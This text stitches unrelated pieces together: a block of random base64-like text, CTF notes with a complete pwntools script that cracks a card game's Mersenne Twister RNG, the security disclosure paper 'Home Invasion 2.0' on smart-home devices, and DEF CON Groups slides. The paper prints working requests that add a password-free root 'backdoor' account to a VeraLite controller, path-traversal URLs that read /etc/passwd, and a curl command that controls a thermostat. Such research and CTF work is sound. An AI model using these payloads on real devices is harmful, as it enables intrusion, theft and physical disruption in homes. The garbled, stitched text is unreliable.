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 bytectf{53f8fb16-a25d-4aac-bec5-d7563b2672b6} sysdig.event_type==7 or sysdig.event_type==9 and sysdig.thread_id~=2606 and sysdig.thread_id~=2648 and sysdig.thread_id~=755 and sysdig.thread_id~=603 and sysdig.thread_id~=661 and sysdig.event_len~=1062 and 随机数预测,用了个工具 https://github.com/JuliaPoo/MT19937-Symbolic- Execution-and-Solver sysdig.thread_id~=2656 and sysdig.thread_id~=2649 and sysdig.thread_id~=2657 and sysdig.event_len>46 strings find_it-2e157327-a739-42a9-b857-5a50bdf6e3d9.scap | grep } bec5-d7563b2672b6}.php CardShark import random import time import copy # Quick hack import sys sys.path.append('./source') # Import symbolic execution from MT19937 import MT19937, MT19937_symbolic # Import XorSolver from XorSolver import XorSolver import string from pwn import * import randcrack from tqdm import tqdm from hashlib import * PYTHON from itertools import product from Crypto.Util.number import * CHALLENGE_ID = 'a586ca89c4876122f2e3cddbfdbe521c' r = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True) # context(log_level='debug') ALPHABET = string.ascii_letters + string.digits r.recvuntil(b'sha256') rec = r.recvline().decode().replace(' ', '') print(rec) rec = rec[rec.find('+')+1::] suffix = rec[rec.find('+')+1:rec.find(')')] digest = rec[rec.find('==')+2:-1] print(f"suffix: {suffix} \ndigest: {digest}") for i in product(ALPHABET, repeat=4): prefix = ''.join(i) guess = prefix + suffix if sha256(guess.encode()).hexdigest() == digest: log.info(f"Find XXXX: {prefix}") break r.sendline(prefix.encode()) # r.interactive() rc = randcrack.RandCrack() cards = [] for t in ('Hearts', 'Spades', 'Diamonds', 'Clubs'): for p in ('J', 'Q', 'K', 'A'): cards.append(f'{p} {t}') n_test = [] for i in tqdm(range(4992)): r.sendlineafter(b'Your guess > ', b'lyutoon') r.recvuntil(b'Sorry! My card is ') real = r.recvline().decode().strip()[:-1] num = cards.index(real) n_test.append(num) t = time.time() rng_clone = MT19937(state_from_data = (n_test, 4)) print("Time taken: {}s".format(time.time() - t)) for n in n_test: assert n == rng_clone() >> (32-4), "Clone failed!" print("[*] Cloning successful!") cnt = 0 for i in range(5200 - 4992): num = rng_clone() >> (32-4) r.sendlineafter(b'Your guess > ', cards[num].encode()) res = r.recvline().decode() print(res) if 'Correct' in res: cnt += 1 if cnt >= 200: r.interactive() # # Collecting data # n_test = [] # for _ in range(624*32//nbits): # # Get random number from rng and save for later testing # n_test.append(n) # t = time.time() # # Cloning MT19937 from data # rng_clone = MT19937(state_from_data = (n_test, nbits)) # print("Time taken: {}s".format(time.time() - t)) # # Test if cloning has been successful # for n in n_test: # assert n == rng_clone() >> (32-nbits), "Clone failed!" # print("[*] Cloning successful!") # print(rng_clone() >> (32-nbits)) # print(rng())
pdf
Home Invasion 2.0 Attacking Network-Connected Embedded Devices 0. Abstract 1. Introduction 2. Methodology for devices evaluated 2.1 Belkin WeMo switch 2.2 MiCasaVerde VeraLite 2.3 INSTEON Hub 2.4 Karotz Smart Rabbit 2.5 Linksys Media Adapter 2.6 Lixil Satis Smart Toilet 2.7 Radio Thermostat 2.8 Sonos Bridge 3. Results 3.1 Belkin WeMo switch 3.1.1 Vulnerable libupnp version 3.1.2 Unauthenticated UPnP actions 3.1.2.1 SetBinaryState 3.1.2.2 SetFriendlyName 3.1.2.3 UpdateFirmware 3.2 MiCasaVerde VeraLite 3.2.1 Lack of authentication on web console by default 3.2.2 Lack of authentication on UPnP daemon 3.2.3 Path Traversal 3.2.4 Insufficient Authorization Checks 3.2.4.1 Firmware Update 3.2.4.2 Settings backup 3.2.4.3 Test Lua code 3.2.5 Server Side Request Forgery 3.2.6 Cross­Site Request Forgery 3.2.7 Unconfirmed Authentication Bypass 3.2.8 Vulnerable libupnp Version 3.3 INSTEON Hub 3.3.1 Lack of authentication 3.4 Karotz Smart Rabbit 3.4.1 Exposure of wifi network credentials unencrypted to the Karotz server 3.4.2 Python module hijack in wifi setup 3.4.3 Unencrypted remote API calls 3.5 Linksys Media Adapter 3.5.1 Unauthenticated UPnP actions 3.6 LIXIL Satis Smart Toilet 3.6.1 Default Bluetooth PIN 3.7 Radio Thermostat 3.7.1 Unauthenticated API 3.7.2 Disclosure of WiFi passphrase in old firmware versions 3.8 SONOS Bridge 3.8.1 Support Console Information Disclosure 4. Discussion 0. Abstract We evaluated the security of several network­connected embedded devices marketed for home use. While network connectivity is already commonplace for personal computers, mobile devices such as smartphones, printers, and digital storage units, there are a growing number of network­connected devices that do not fit these traditional categories. With some of these devices, a compromise would allow an attacker some control over the physical world, posing a different type of risk than that associated with a personal computer. We selected our research targets based on capabilities, availability, and cost; the subset of devices selected match what might be found in each room of a modern home in 2013. We discovered exploitable flaws in nearly every device analyzed, many with a low level of difficulty for exploitation. We present exploitation techniques for each flaw discovered as well as noting the risk posed by each flaw. We conclude with an overall assessment of the current state of security in non­traditional network­connected embedded devices that interface with the the physical world and we discuss the implications of vulnerabilities in this class of device. 1. Introduction The first iteration of any technology is often released in an immature state. As security is not generally a functional requirement of a system, it is often overlooked in the interest of shipping a product. Our research suggests that this holds true for non­traditional network­connected devices. The types of devices being released are varied in nature and purpose: there are network­connected door locks, electrical switches, and weight scales. There are even network­connected toilets! Given that this shift to network­controlled versions of existing technologies usually involves devices with some control over the physical world, compromise of these devices poses different and potentially serious consequences in the physical world. We performed this research in the hopes of determining how well security is considered in these devices and what considerations, if any, need to be taken by those adopting these technologies into their homes and businesses. 2. Methodology for devices evaluated 2.1 Belkin WeMo switch The WeMo was evaluated by launching attacks from a black­box perspective, and by eavesdropping on traffic generated by the associated iPhone application. 2.2 MiCasaVerde VeraLite The VeraLite was evaluated by launching attacks from a black­box perspective, by analysis of the extracted squashfs firmware package, and by reviewing the source of various applications on the device itself. 2.3 INSTEON Hub The INSTEON Hub was evaluated through black­box testing. 2.4 Karotz Smart Rabbit The Karotz was evaluated using a combination of black­box testing, source code audit on the setup package, and documentation review. 2.5 Linksys Media Adapter The Linksys Media Adapter was evaluated through analysis of a rom dump. The device was not evaluated directly because of a lack of availability. 2.6 Lixil Satis Smart Toilet The Satis was evaluated by means of reverse engineering its associated Android application. The device was not evaluated directly due to a lack of availability in the United States and the prohibitive cost of purchasing the toilet. 2.7 Radio Thermostat The Radio Thermostat was evaluated through study of its API documentation. 2.8 Sonos Bridge The Sonos Bridge was evaluated using black­box testing techniques, and documentation review. 3. Results 3.1 Belkin WeMo switch From the Belkin WeMo site [7]: “WeMo is a family of simple and customizable products that allow you to control home electronics from anywhere.” The Belkin WeMo switch is a device that plugs into an electrical outlet and has its own built­in outlet. It connects to an 802.11 network. Dependent on the state of the WeMo switch, the device plugged into the WeMo switch is or is not provided with power. A physical button on the device and a UPnP service allow for a change in state to the device. 3.1.1 Vulnerable libupnp version Portable SDK for UPnP version 1.6.17 and earlier are vulnerable to various remote buffer overflow attacks [5]. The Belkin WeMo uses Portable SDK for UPnP version 1.6.6. 3.1.2 Unauthenticated UPnP actions UPnP is a remote procedure call protocol best known for its use in automated network configuration. As its original intended purpose was to allow devices without a physical interface to self­configure when attached to an IP network, it is by design without any authentication in its basic form. While there are standards for adding authentication to UPnP daemons, they are not widely deployed. The Belkin WeMo switch allows configuration and control of the device from the local network using UPnP actions that do not require authentication. 3.1.2.1 SetBinaryState The “basicevent” service has a UPnP action named “SetBinaryState”, which allows the unit to change to an “on” or “off” state. There is no rate limiting on the state change, so the state can be changed as rapidly as the device can respond to UPnP control requests. 3.1.2.2 SetFriendlyName The “basicevent” service has a UPnP action named “SetFriendlyName”, which allows the name displayed in the control application to be changed. 3.1.2.3 UpdateFirmware The “firmwareupdate” service has a UPnP action named “UpdateFirmware”, which allows new firmware to be applied to the device. While the firmware is signed, it is possible to push old firmware versions that have known flaws such as the one discussed in section 3.2.1.1. 3.2 MiCasaVerde VeraLite From the MiCasaVerde website [6]: “Home control doesn't have to be complicated or expensive, so we came up with the VeraLite smart controller, which is simple and inexpensive. It may be small, but it's capable of big things! VeraLite gives you easy control over lights, cameras, thermostats, door locks alarm systems and more. Plus you easily can add intelligence to almost anything electronic in your home, and VeraLite can control them too.  All the smart home benefits you've been looking for are right here in this easy, inexpensive add­on to your home network.” The MiCasaVerde VeraLite is a low­cost home automation control unit which controls various network­connected devices via Z­Wave, INSTEON, X10, and others. Various devices the VeraLite can control include, but are not limited to: lights, electrical outlets, door locks, alarm systems, window blinds, electronically controlled relays, etc. The VeraLite unit is controlled via the local network, or over the Internet. Each VeraLite unit connects via SSH to servers owned by MiCasaVerde, and uses SSH remote port forwarding. The main control system forwards port 80 on the local VeraLite unit to a remote port on one of the aforementioned servers. This architecture means that anyone who has access to these servers or can access the forwarded ports on these servers can access all Internet­connected VeraLite units, and potentially other Vera models. There were a large number of flaws discovered quickly in the VeraLite, many of them very severe and easily exploited. As the vendor has refused to fix or even acknowledge these vulnerabilities, the authors consider it highly likely that this product has additional undiscovered vulnerabilities. 3.2.1 Lack of authentication on web console by default By default, no authentication is required from the LAN to access and operate the control panel on the VeraLite. While it is possible to require authentication to operate the control panel, it is disabled in the device’s initial state. 3.2.2 Lack of authentication on UPnP daemon Devices connected to the VeraLite can be controlled through the web­based console or through its UPnP daemon. While the web­based console can be set to require authentication, the UPnP daemon has no such option. It is also possible to execute Lua code as root on the VeraLite by using the “RunLua” UPnP action of the “HomeAutomationGateway” service. The following POST request to port 49451 (the UPnP control port) on the VeraLite will add a password­free root­equivalent user named “backdoor” on the unit: POST /upnp/control/hag HTTP/1.1 Host: VERA_IP:49451 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept­Language: en­us,en;q=0.5 Accept­Encoding: gzip, deflate X­Requested­With: XMLHttpRequest X­Prototype­Version: 1.7 Content­Type: text/xml;charset=UTF­8 MIME­Version: 1.0 SOAPACTION: "urn:schemas­micasaverde­org:service:HomeAutomationGateway:1#RunLua" Content­Length: 436 Connection: keep­alive Pragma: no­cache Cache­Control: no­cache <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">    <s:Body> <u:RunLua xmlns:u="urn:schemas­micasaverde­org:service:HomeAutomationGateway:1">          <DeviceNum></DeviceNum>          <Code>os.execute(&quot;echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd&quot;)</Code>       </u:RunLua>    </s:Body> </s:Envelope> 3.2.3 Path Traversal It is possible to retrieve the contents of any file on the VeraLite through the web interface as any authenticated user. As a guest user, this can be used to escalate privileges to an administrative user by retrieving the /etc/lighttpd.users file which contains hashed passwords for all users of the associated VeraLite. As noted in section 3.2.2, these passwords will also enable control of a VeraLite unit from the Internet. The /etc/passwd file also contains hashes for the root system user and the remote access user, if remote access has been enabled. In the VeraLite’s initial unboxed state, the path traversal bug is not exploitable as the /etc/cmh­ext/ directory doesn’t exist. Using the “store_file.sh” script will create this directory. The following URL (where VERA_IP is the IP address of the VeraLite unit) can be used to cause the VeraLite to create the necessary directory: http://VERA_IP/cgi­bin/cmh/store_file.sh?store_file=test Once the necessary directory exists, any file can be retrieved by providing a relative path from the /etc/cmh­ext/ directory to the desired file as the “filename” parameter to the “get_file.sh” script. An example URL to retrieve the contents of the /etc/passwd file is as follows: http://VERA_IP/cgi­bin/cmh/get_file.sh?filename=../passwd 3.2.4 Insufficient Authorization Checks The distinction made between the Guest and Administrator level users on the VeraLite system is that Guest users should not be able to “save changes” to the Vera unit. What this means in a literal sense is that the “save” button cannot be used by a Guest level user. However, many changes and actions are available to a Guest user that can allow a Guest user to take complete control of a VeraLite unit, whereas Guest users are normally only allowed to interact with the devices already configured. 3.2.4.1 Firmware Update Firmware for the VeraLite is unsigned and is in the form of a squashfs file. Freely available tools (mksquashfs and unsquashfs) exist to convert between a squashfs file and its component files. It is trivial to unpackage stock VeraLite firmware, modify its contents to include a backdoor, repackage, and apply the firmware to gain administrative control over a VeraLite system. 3.2.4.2 Settings backup Backup files can be created and downloaded by Guest users. Backup files are unencrypted and contain sensitive data, including the hashed passwords for local root and remote administrative user accounts in the form of the /etc/lighttpd.users and /etc/passwd files. The following URL can be used to obtain a backup from the system: http://VERA_IP/cgi­bin/cmh/backup.sh?external=1 3.2.4.3 Test Lua code Lua is a “lightweight multi­paradigm programming language” [2]. It is possible to run Lua code as root on the VeraLite system using the web interface. The following POST request will add a password­free root­equivalent user named “backdoor” to a VeraLite unit: POST /port_49451/upnp/control/hag HTTP/1.1 Host: VERA_IP Accept: text/javascript, text/html, application/xml, text/xml, */* Accept­Language: en­us,en;q=0.5 Accept­Encoding: gzip, deflate X­Requested­With: XMLHttpRequest X­Prototype­Version: 1.7 Content­Type: text/xml;charset=UTF­8 MIME­Version: 1.0 SOAPACTION: "urn:schemas­micasaverde­org:service:HomeAutomationGateway:1#RunLua" Content­Length: 436 Connection: keep­alive Pragma: no­cache Cache­Control: no­cache <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">    <s:Body> <u:RunLua xmlns:u="urn:schemas­micasaverde­org:service:HomeAutomationGateway:1">          <DeviceNum></DeviceNum>          <Code>os.execute(&quot;echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd&quot;)</Code>       </u:RunLua>    </s:Body> </s:Envelope> 3.2.5 Server Side Request Forgery It is possible to use the VeraLite as a proxy using the “proxy.sh” script, traversing network boundaries and bypassing firewall restrictions, if any exist between the attacker and the VeraLite unit. A malicious party who has access to the VeraLite control panel can map and attack the internal network in which a VeraLite is installed.  It can also be used to determine the external IP address (and by GeoIP lookup, physical address) of the VeraLite unit. The following URL makes a request for trustwave.com: http://VERA_IP/cgi­bin/cmh/proxy.sh?url=https://www.trustwave.com 3.2.6 Cross-Site Request Forgery The VeraLite does not protect against Cross­Site Request Forgery. If a user on the same network as a VeraLite unit visits a site controlled by an attacker, the attacker can force the user to perform any action on the VeraLite unit available through the web console or UPnP daemon. 3.2.7 Unconfirmed Authentication Bypass As discussed in section 3.2, the architecture of the VeraLite remote access system allows an attacker who can bypass the firewall on the forwarding server to gain access to all Internet­connected VeraLite units through the ports forwarded via SSH. The forwarding servers for the Vera units have a script named “proxy.sh.php” which takes identically named and formed arguments to the “proxy.sh” script mentioned in section 3.2.5. If the same vulnerability that exists in “proxy.sh” exists in “proxy.sh.php”, it is likely possible to bypass the firewall and access any Internet­connected Vera unit without authentication. 3.2.8 Vulnerable libupnp Version Portable SDK for UPnP version 1.6.17 and earlier are vulnerable to various remote buffer overflow attacks [5]. The MiCasaVerde VeraLite uses Portable SDK for UPnP version 1.6.6. 3.3 INSTEON Hub From INSTEON website [4]: “INSTEON Hub is an INSTEON central controller for the rest of us; a simple and straightforward device that connects you to your home from any smartphone or tablet, anywhere in the world. Control INSTEON light bulbs, wall switches, outlets, and thermostats at home or remotely and receive instant email or text message alerts from motion,door and window, water leak, and smoke sensors while you’re away.” The INSTEON Hub is a home automation gateway created by INSTEON. It allows a home user to setup a gateway where they can control lights, appliances, door bells, cameras, thermostats, and door locks. It has several mobile device applications and a cloud hosted web portal that one can use to access and control all home devices. 3.3.1 Lack of authentication The version released in December 2012 (2422­222) does not have the ability to enable or require authentication for web service calls to the device. Previous versions allowed the user to set Basic HTTP authentication. Any network access to the hub allows full control over all connected devices. The default method of setup requires an externally accessible port to be forwarded to the device; Anyone who can access the device can run amok in your house without the requirement of having proximity access to your home. Message exchange example: GET /sx.xml?1234AA=1900 HTTP/1.1 Host: 172.16.5.5:8001 User­Agent: INSTEON 1.1.0 rv:100 (iPhone; iPhone OS 6.0.1; en_US) Connection: close Accept­Encoding: gzip HTTP/1.1 200 OK Connection: close Content­Type: text/xml Cache­Control: no­cache Access­Control­Allow­Origin: * <?xml version="1.0" encoding="ISO­8859­1" ?> <Xs> <X D="1234AA250200"/> </Xs> Many of these devices can be found connected to the Internet. 3.4 Karotz Smart Rabbit From the Karotz blog [3]: “Karotz is a smart, communicating, rabbit­shaped object that connects to the Internet via Wi­Fi. Karotz is the ideal companion. It’s beautiful, sweet, funny, and educated. Karotz is extraordinary: It can speak, see, listen, obey, and move its ears! It will stop at nothing to make itself useful and to entertain you with a lot of applications! Karotz connects to your Wi­Fi (Ethernet connection is also possible with a USB/Ethernet adapter and Ethernet cable, sold separately) and requires PC / MAC / Linux for installation. Karotz is equipped with a camera, a voice recognition system, a loudspeaker and an RFID reader.” 3.4.1 Exposure of wifi network credentials unencrypted to the Karotz server In order to set up the Karotz for wifi use, the user is expected to enter their local wifi network information, including credentials, into the Karotz website. This is used to generate the setup package that is installed. Unfortunately, the connection to the Karotz server is not protected by SSL. It’s worth noting that the Karotz server does not need these credentials for any reason besides the generation of the setup script and that the configuration file containing the credentials is unsigned. 3.4.2 Python module hijack in wifi setup The autorunwifi script that the Karotz uses to configure its wifi connection is signed, so changes to it result in the file failing to run. However, there exists a python module hijacking attack against the unit that allows for code execution. Simply create a simplejson.py file in the same directory as the autorunwifi script and place any python code you would like to execute within the file. Instead of loading the simplejson library as is the expected behavior, the simplejson.py file found in the same directory as the autorunwifi script takes precedence. 3.4.3 Unencrypted remote API calls There are two types of applications for the Karotz: hosted, and external. Hosted applications run on the Karotz itself, and external applications control the Karotz remotely through a series of API calls to http://api.karotz.com. While an application is actively running on the Karotz, a session identifier called “interactiveid” is used to authenticate calls to the API. Since API calls are made in plaintext to the API service, this session identifier can be captured and replayed by an eavesdropping attacker. If an application has privileges to use the integrated webcam, an attacker could take a photo or video and upload it to any server they wish. 3.5 Linksys Media Adapter The Linksys Media Adapter connects to a home network and television, and allows media to be pushed to it for playback on the television. 3.5.1 Unauthenticated UPnP actions The “RemoteIO” UPnP device offers a service called “RemoteInput” which exposes various actions used for controlling the interface of the Linksys Media Adapter such as “InputKeyDown” and “InputKeyUp”. No authentication is required. 3.6 LIXIL Satis Smart Toilet The LIXIL Satis is a toilet which can be remotely controlled through an Android application which connects to the toilet via Bluetooth. The Android app can trigger various functions of the toilet, which include flushing, bidet use, music, and self­cleaning functions. 3.6.1 Default Bluetooth PIN The LIXIL Satis Smart Toilet has a static Bluetooth PIN of “0000” hard­coded into the controlling Android application. This opens up control over the toilet to anyone who has the freely available “My Satis” Android application. 3.7 Radio Thermostat From the Radio Thermostat website [7]: “Whether you're at work, on vacation, or on the go, Radio Thermostat Company makes managing your home energy usage simple and fun. Our easy­to­use web and mobile applications let you heat or cool your home from anywhere in the world. When logged­in, you can raise or lower your target temperature, change modes, and edit your 7­day program. The simple idea ­ never let a static program turn on your heat or air conditioning when no one is home. Simply manage your thermostat from wherever you are ­ maximize your comfort while minimizing your cost.” The Radio Thermostat is a thermostat which can be controlled over an 802.11 network. Temperature and programming settings can be read and modified using HTTP requests. 3.7.1 Unauthenticated API No authentication is required to use any function of the thermostat. It is possible to completely control the thermostat, given access to the same network. For instance, to cause the air conditioning to turn off, the following request can be made via curl, where “THERMOSTAT_IP” is the IP of the thermostat: curl http://THERMOSTAT_IP/tstat/tmode ­d ‘ {"tmode":0}’ 3.7.2 Disclosure of WiFi passphrase in old firmware versions From changelog[1]: “For security precaution, we remove passphrase from GET /sys/network” The WiFi passphrase can be retrieved in plaintext from the thermostat using the following URL on version 1.3.24, and presumably earlier versions as well: http://THERMOSTAT_IP/sys/network 3.8 SONOS Bridge The SONOS system is an audio system which connects to a home network to allow remote media playback to and from the SONOS system. From the SONOS website [8]: “The SONOS BRIDGE 100 makes setting up an all­wireless SONOS system wonderfully fast‚...and easy. Instead of using a SONOS component, simply connect the BRIDGE to your router to instantly activate the SONOSNet wireless mesh network. Now all your ZonePlayers and Controllers can work wirelessly and be put anywhere in your house. It‚' the ideal solution if your house doesn't have Ethernet wiring or your router is in a room where you don't want music.” 3.8.1 Support Console Information Disclosure The SONOS bridge operates a web server for various reasons. There is a support console which can be reached at: http://BRIDGE_IP:1400/support/ This provides various information on the SONOS system, including output from “ifconfig”, “ps”, “dmesg”, and more. Furthermore, machines running the SONOS controller software are polled by the bridge, and their information is provided at: http://BRIDGE_IP:1400/status/controllers This information is also available directly from the control units themselves at: http://CONTROLLER_IP:3400/status/ No authentication is required to query this information, and the existence of these consoles is undocumented. 4. Discussion The authors’ research suggests that network­controlled embedded devices do not frequently take security into account in their design, especially in terms of attacks from the local network. Security measures do seem to be in place when accessing the reviewed devices from the Internet, with the notable exception of the INSTEON Hub. Considering that many of these devices have control over the physical world, the poor security measures suggest that introducing network­controlled embedded devices into one’s home or business puts one at risk for theft or damage. If these devices must be used, the authors strongly recommend that users isolate such devices from the rest of their network and disable their remote access capabilities, if possible. There are also privacy concerns in the compromise of these devices. Compromise of a device with a built­in microphone or camera comes with the ability to perform audio and video surveillance. Compromise of a motion sensor could be used to determine when there are people at a physical location. Reading the status of door locks and alarm systems as could be achieved by compromising the VeraLite could be used to determine when the building in which it resides is occupied. Legally, devices that store data on third party servers also enjoy a lower level of privacy protections due to the 3rd Party Doctrine. Many of the devices in this paper fall into this category. 5. Citations 1) Radio Thermostat changelog http://radiothermostat.com/documents/Public%20Changelog%201_3_24%20to%201_4_64%20v 4.pdf 2) About Lua http://www.lua.org/about.html#why 3) What is Karotz? http://blog.karotz.com/?page_id=1669&lang=en 4) INSTEON Hub http://www.insteon.com/2242­222­insteon­hub.html 5) OSVDB ­ Portable SDK for UPnP Devices libupnp unique_service_name() Function SSDP Request Handling Three Remote Overflows http://osvdb.org/show/osvdb/89611 6) MiCasaVerde VeraLite http://www.micasaverde.com/controllers/veralite/ 7) Radio Thermostat ­ Welcome http://www.radiothermostat.com/control.html 8) SONOS Setup and Product Details https://sonos.custhelp.com/app/answers/detail/a_id/1052
pdf
1 A  REALLY,  REALLY  BRIEF HISTORY  OF  DCG REALLY  …  WE’RE  GETTING  TO  THE  PANEL 2 3 GROUP UP 4 5 FINDING OTHER HACKERS WAS HARD 2 0 7 6 5 0 3 7 2 0 6 8 ?? 9 91 active Defcon Groups worldwide ..and growing again! 10 d C g 11 12 dcgroups{at}defcon(døt)org 13 d C g 14 DCG  Panel •  Anch  (DC503) •  BlakDayz  (DC225) •  Anarchy  Angel  &  Ngharo  (DC414) •  Itzik  Kotler  &  IFach  Ian  Amit  (DC9723) •  GenericSuperHero  &  Londo  (Black  Lodge  Research) •  Roamer  (Unallocated) •  Converge  (DCG  Keymaster) 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 Index  /  Outline •  (1)  Defcon  Groups  Logo •  (2)  A  Really,  Really  Brief  History  of  the  DCG –  (3)  late  2002  ideas  led  to  creaWon  of  Defcon  Groups –  (4)  was  one  of  a  dozen  or  so  folks  starWng  a  group •  group  would  be  great  and  far  exceed  the  awesomeness  of  our local  2600  (or  so  I  thought) –  (5)  officially  launched  in  2003  at  Defcon  11 •  (6)  reality  of  local  207 –  (7)  trekked  to  Oregon  and  parWcipated  in  503  scene •  highs,  lows,  but  everyone  got  busy 34 – (8)  moved  to  Sea[le  and  found  the  thriving  206 •  more  hackers! •  (9)  And  the  Years  Passed – most  acWve  groups  off  doing  their  own  thing – many  groups  looking  to  abandon  the  Defcon banner  in  favor  of  hackerspaces •  they  have  much  cooler  names – many  groups  simply  didn't  exist  or  respond •  began  with  a  list  of  over  170+  groups  internaWonally •  102  were  inacWve!  (seriously,  I  have  the  list  to  prove  it) •  30  had  significantly  changed;  hey,  I’d  not  been  the  POC for  DC207  for  over  6  years! 35 •  (10)  DCG  Lives! – 91  acWve  groups  worldwide  today – at  least  4  or  5  in  the  DCG  inbox  starWng  up •  (11)  What  is  Coming? – Social  media:  facebook,  google+,  twi[er. – AnWsocial  media:  mailing  lists,  forums,  …  DCG-­‐ specific  site  launch  later  this  year! – Hacker  media:  irc,  bbs,  group-­‐built  infrastructure? •  (12)  Enough  tangent,  the  groups  that  have been  there,  done  that,  do  that  –  the  PANEL! 36
pdf
